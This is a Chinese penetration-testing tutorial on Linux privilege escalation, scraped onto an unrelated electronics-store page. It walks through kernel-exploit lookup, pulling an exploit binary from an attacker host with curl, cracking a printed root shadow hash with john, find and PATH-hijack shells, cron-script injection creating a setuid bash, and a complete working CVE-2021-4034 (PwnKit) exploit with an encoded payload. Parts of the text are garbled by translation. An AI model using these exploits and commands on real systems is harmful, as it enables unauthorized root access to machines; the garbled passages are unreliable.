资讯详情

渗透时Linux系统该如何提权?

Linux系统目录

  • 一、总结提权手段
      • 1.1 核提权(基本提权)
        • 1.1.1 收集目标目标目标机的信息
        • 1.1.2 searchsploit工具的利用
        • 1.1.3 将exp将文件上传到目标目标目标机
      • 1.2 John破解提权
        • 1.2.1 获取shadow结合passwd进行破解
        • 1.2.1 直接获取root破解用户的密码哈希值
      • 1.3 mysql内部数据提权
        • 1.3.1 弱口令进入mysql
      • 1.4 提高执行目录的权利
      • 1.5 寻找文件提权
      • 1.6 提高计划任务的权利(有权修改计划任务)
      • 1.7 根据查询工具结合提权文件提权
      • 1.8 最新漏洞提权(例如CVE-2021-4034 )
  • 二、总结提权工具
      • 2.1 GTFOBins & LOLBAS(windows)
      • 2.2 Linux-exploit-suggester 提权查询
      • 2.3 GTFO
      • 2.4 LinEnum
      • 2.5 Linux Smart Enumeration
      • 2.6 Vulmap
      • 2.7 网站推荐


一、总结提权手段

1.1 核提权(基本提权)

1.1.1 收集目标目标目标机的信息

uname -a 查看内核文件 请添加图片描述

lsb_release -a 查看发行版本

cat /etc/issue 查看发行版本

1.1.2 searchsploit工具的利用

利用kali自带的searchsploit工具查询内核,找到exp文件反编译,这里我们用2.以10核心为例:

searchsploit 2.10.0

这里我们假设对应版本ProFTPd 1.2.10 - Remote Users Enumeration” C源码保存在当前目录下

searchsploit 2.10 linux/remote/581.c -m

对.c编译源码

gcc 581.c -o exp #编译

1.1.3 将exp将文件上传到目标目标目标机

我们可以在kali开一个环境python服务器,这样靶机就可以直接下载文件地址exp文件执行权限

python3 -m http.server 80

curl http://192.168.92.130/exp -o exp

chmod x exp

./exp

1.2 John破解提权

1.2.1 获取shadow结合passwd进行破解

这边John爆破主要是获得/etc/shadow这个文件只允许这个文件root可读的, 但在某些情况下,如果我们能得到/etc/shadow 文件的内容, 我们很有可能破解根用户的密码哈希值。 有时在某些地方awd竞赛中给出shadow这个文件, (有权修改shadow我们也可以修改它root将密码的哈希值修改为我们自己知道的) 

有时是结合find例如获取文件find有权限但不正常/bin/bash或其他情况 find /etc -name "shadow" -exec cat {} \;

例如靶场(Escalate_Linux)访问他的8000端口可以未经授权下载此文件 读取到了shadow文件获取/etc/passwd这个文件

通过unshadow将两者结合

unshadow passwd shadow > newexp

再通过john破解得到root密码 (这里的密码设置很简单,所以会很快。如果比较复杂,需要很长时间。

John newexp

1.2.1 直接获取root用户的密码哈希值进行破解

(注意:John这个工具的一个规则是第一次爆破后便不能重复爆破这个shadow,如果想查看上一次爆破的结果,可以使用:john --show shadow 查看)

head -n 1 /etc/shadow

root:$6$lQgBvb6T$bQLqQ5IogUYQsRi0ZRYep0RDKVDZReVMt27FbKd15AdV8GE2cUvS6yhzDZLYoYBEiq9MkQvvHbq/ajbpmdLhP1:18950:0:99999:7:::

(为了更好的排版换行了)

echo 'root:$6$lQgBvb6T$bQLqQ5IogUYQsRi0ZRYep
0RDKVDZReVMt27FbKd15AdV8GE2cUvS6yhzDZLY
oYBEiq9MkQvvHbq/ajbpmdLhP1:18950:0:99999:7:::' > 'hacker.txt'

然后将hacker.txt在kali中利用john跑密码本破解

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hacker.txt

1.3 mysql内部数据提权

这边利用靶场(Escalate_Linux)进行测试

这边对目标靶机进行nmap扫描,通过后门结合msf的/script/web_delivery进入交互页面

1.3.1 弱口令进入mysql

到mysql目录中查询网站目录表或者其他关键表 通过查询user数据库中的表发现了mysql用户的密码,通过ssh进行登录,发现mysql用户的权限也很低,但是至少通过用户ssh进来了, 猜测性的登录root发现密码是: ,其他的用户也是用户名+@12345 (有时候root用户的密码便在这里,这里只放了mysql的也许是需要你去猜测,就不做继续的提权,因为涉及了其他的提权点)

1.4 执行目录提权

可以通过以下命令用来提权的: 三者的目的都一样 · `

若有find命令的高权限可到/tmp下创建一个文件然后通过该文件提权

cd /tmp

touch a

find a -exec /bin/bash \; -quit

1.5 寻找文件提权

依旧可以用到这串查询语句,这里的靶机依旧是(Escalate_Linux)

查询到这些能提权的文件便能直接提权,例如利用**/home/user3/shell/home/user5/script**一般script这类文件跟某些命令或者环境变量都有紧密的关系,可以先执行script,发现其跟ls列出目录的结果是一致的,那我们的思路就是将ls命令换成执行/bin/bash,直接获取权限

我们这边便在/tmp目录下创建一个指定写入”/bin/bash“的ls文件,并且赋予权限,再将/tmp这个文件夹写入

1.6 计划任务提权(需要有权限修改计划任务)

通俗的来讲就是root用户创建了一个定时任务,比如10s执行一个sh脚本,例如一个脚本名为shell.sh功能是将echo “I will automate the process” >abc.txt,那这个autoscript.sh的权限所有是root用户的,这个时候只要你将命令内容写入到这个文件中,理论上执行时便会以root权限执行这个命令,但是我这里不知道为啥有些问题,但是思路是这样的。

添加权限(如果可以的话)

chmod o=rw /home/user4/autoscript.sh

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> autoscript.sh

1.7 根据查询工具结合提权文件提权

利用github这个提权工具,结果会出现在下方,有几率破解的exp文件链接将按照概率从大到小一一展示,只需要去对应链接下载,(有些是c源码需要编译)

这边提示的便是利用1.8的最新的这个漏洞,很显然这个exp可以直接提权上root

1.8 最新漏洞提权(例如CVE-2021-4034 )

该漏洞影响较大,且直接允许便可获取最高权限,这里用2021年kali做个测试,利用python3运行

from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
        """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"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

二、提权工具总结

2.1 GTFOBins & LOLBAS(windows)

如果你忘记了linux某些命令的提权方法,可以到这个两个网站查询

https://gtfobins.github.io/              #GTFOBins 
https://lolbas-project.github.io/         #LOLBAS

2.2 Linux-exploit-suggester 提权查询

https://github.com/mzet-/linux-exploit-suggester

指定内核版本,用法类似于searchsploit,若不接后面参数 -k [版面号] 则检测的是本机提权信息

./Linux_Exploit_Suggester.pl -k 2.6.28

2.3 GTFO

其实就是一个快捷用于搜索GTFOBins和LOLBAS上的二进制文件的工具。

https://github.com/mzfr/gtfo

2.4 LinEnum

这个工具真的是爱了,这个工具直接帮你把关键的信息全都提取出来,直接就是过一遍上面说的提权方法,都不用自己一步步去找浅显的提权文件,这个软件直接给你找出提权点直接就可以去提权了。

https://github.com/rebootuser/LinEnum

2.5 Linux Smart Enumeration

一个也很完美的bash提权工具

bash lse.sh

https://github.com/diego-treitos/linux-smart-enumeration

操作如下图,简单易懂,非常容易上手的好工具

2.6 Vulmap

个人感觉跟 属于一类但是没有他强,区别差不多就是这个工具弱一些,是用python编写的,兼容的python版本多,python2、python3都能跑。

https://github.com/vulmon/Vulma

2.7 网站推荐

https://www.exploit-db.com/
https://dirtycow.ninja/#

标签: wtq1050f动态扭矩传感器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台